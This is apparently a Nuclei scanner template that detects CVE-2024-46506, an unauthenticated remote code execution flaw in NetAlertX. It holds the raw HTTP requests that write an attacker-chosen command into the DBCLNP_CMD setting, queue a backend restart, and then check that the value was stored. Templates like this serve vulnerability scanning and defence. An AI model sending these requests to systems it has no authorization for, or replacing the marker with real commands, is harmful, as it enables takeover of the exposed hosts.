CVE-2024-46506: NetAlertX 23.01.14–24.x < 24.10.12 - Remote Code Execution

id: CVE-2024-46506

info:
  name: NetAlertX 23.01.14–24.x < 24.10.12 - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    NetAlertX 23.01.14 through 24.x before 24.10.12 allows unauthenticated command injection via settings update because function=savesettings lacks an authentication requirement, as exploited in the wild in May 2025. This is related to settings.php and util.php.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-46506
    cwe-id: CWE-306
    epss-score: 0.76361
    epss-percentile: 0.98896
    cpe: cpe:2.3:a:netalertx:netalertx:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    fofa-query: title="netalertx"
    vendor: netalertx
    product: netalertx
  tags: cve,cve2024,netalertx,rce,intrusive,vkev

variables:
  marker: "{{to_lower(rand_base(6))}}"
  uuid: "{{to_lower(rand_base(8))}}-{{to_lower(rand_base(4))}}-{{to_lower(rand_base(4))}}-{{to_lower(rand_base(4))}}-{{to_lower(rand_base(12))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /php/server/util.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        function=savesettings&settings=[["DBCLNP","DBCLNP_RUN","string","schedule"],["DBCLNP","DBCLNP_CMD","string","{{marker}}"],["DBCLNP","DBCLNP_RUN_SCHD","string","* * * * *"]]

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body,"OK")'
        condition: and
        internal: true

  - raw:
      - |
        POST /php/server/util.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        function=addToExecutionQueue&action={{uuid}}|cron_restart_backend

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body,"{{uuid}}","added to the execution queue")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/table_settings.json HTTP/1.1
        Host: {{Hostname}}

        {{wait_for(5)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{marker}}")'
          - 'contains(content_type,"application/json")'
        condition: and
# digest: 4a0a00473045022100e5146078e54aec5e5bfb11102c488d31e62640260fd53b00c90e8cfab268adda02205a285d49470c9d4e0c989710a031f287db2001bad7b34b1a02b8be1a057bbea7:922c64590222798bb761d5b6d8e72950